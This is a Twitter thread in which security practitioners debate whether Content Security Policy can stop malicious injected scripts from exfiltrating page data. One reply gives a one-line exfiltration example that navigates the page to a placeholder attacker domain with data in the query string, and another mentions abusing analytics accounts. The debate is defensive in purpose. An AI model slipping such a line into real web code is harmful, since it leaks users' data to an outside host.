The @Mozilla Observatory’s CSP Analyzer checks your policy to confirm that you’re setting the proper directives to prevent data exfiltration. Don’t let this happen to you!https://hackernoon.com/im-harvesting-credit-card-numbers-and-passwords-from-your-site-here-s-how-9a8cb347c5b5 …
-
-
Replying to @aprilmpls @mozilla
CSP will not prevent or mitigate this attack and it should not be advertised this way.
1 reply 0 retweets 9 likes -
Maybe, it’s a good second line of defence, and if it gets more websites using it (or developers knowing about it), then I’m happy for some mis-selling. I prefer this than the companies selling their anti-virus/malware claiming their software solves everything :-)
1 reply 0 retweets 0 likes -
No it’s not at all a defense for this, not even a second line of defense and we shouldn’t bullshit people into using it as such.
1 reply 0 retweets 3 likes -
Craig Francis Retweeted Sebastian Lekies
Oh, I forgot we’ve been here before: https://mobile.twitter.com/slekies/status/921310306764312576 … I realise you don’t like CSP, but until you have a better idea, this will at least catch the typical malicious JS (e.g. via an advert, code in npm, etc) which won’t be targeting the authors site in particular.
Craig Francis added,
1 reply 0 retweets 0 likes -
CSP is just not applicable in this particular case. There is really no way with CSP, you can prevent a malicious npm from injecting code and exfiltrating data from a page. It has not been made for this case and applying it for preventing or mitigating this case is wrong.
1 reply 0 retweets 2 likes -
If you can’t make XHR/POST/GET requests to foreign origins, how exactly are you going to exfiltrate data, short of being able to execute code in the context of the web server? You’d have to do domain-specific code that puts it in some data store (like your profile).
2 replies 0 retweets 1 like -
Replying to @aprilmpls @slekies and
document.location = http://Mysite.com?data=your-dataMysite.com/?data=your-data
1 reply 0 retweets 3 likes -
Replying to @patricktoomey @slekies and
Works but is very noisy. If it did a POST (to not break things), you would also see their origin. I also believe there is an open bug in the CSP repo to restrict navigations (via navigate-to).
3 replies 0 retweets 1 like -
Replying to @aprilmpls @patricktoomey and
Sadly, even if we modified CSP & implementations to prevent the exfil vectors listed at https://lists.w3.org/Archives/Public/public-webappsec/2016Sep/0012.html … a malicious script can almost always send data to an attacker's account at a common analytics provider (e.g. Google Analytics).
3 replies 0 retweets 2 likes
There's value in locking down the sources of resources which can be loaded in an app, but this mostly serves to prevent programmer mistakes (loading scripts from an untrusted source); it doesn't stop an attacker who can already execute scripts.
-
-
Replying to @arturjanc @aprilmpls and
This has been a great win for us to be able to mintor any accidental external script addition attempts. We monitor one file containing our CSP policy and are then able to audit all changes.
0 replies 0 retweets 2 likesThanks. Twitter will use this to make your timeline better. UndoUndo
-
Loading seems to be taking a while.
Twitter may be over capacity or experiencing a momentary hiccup. Try again or visit Twitter Status for more information.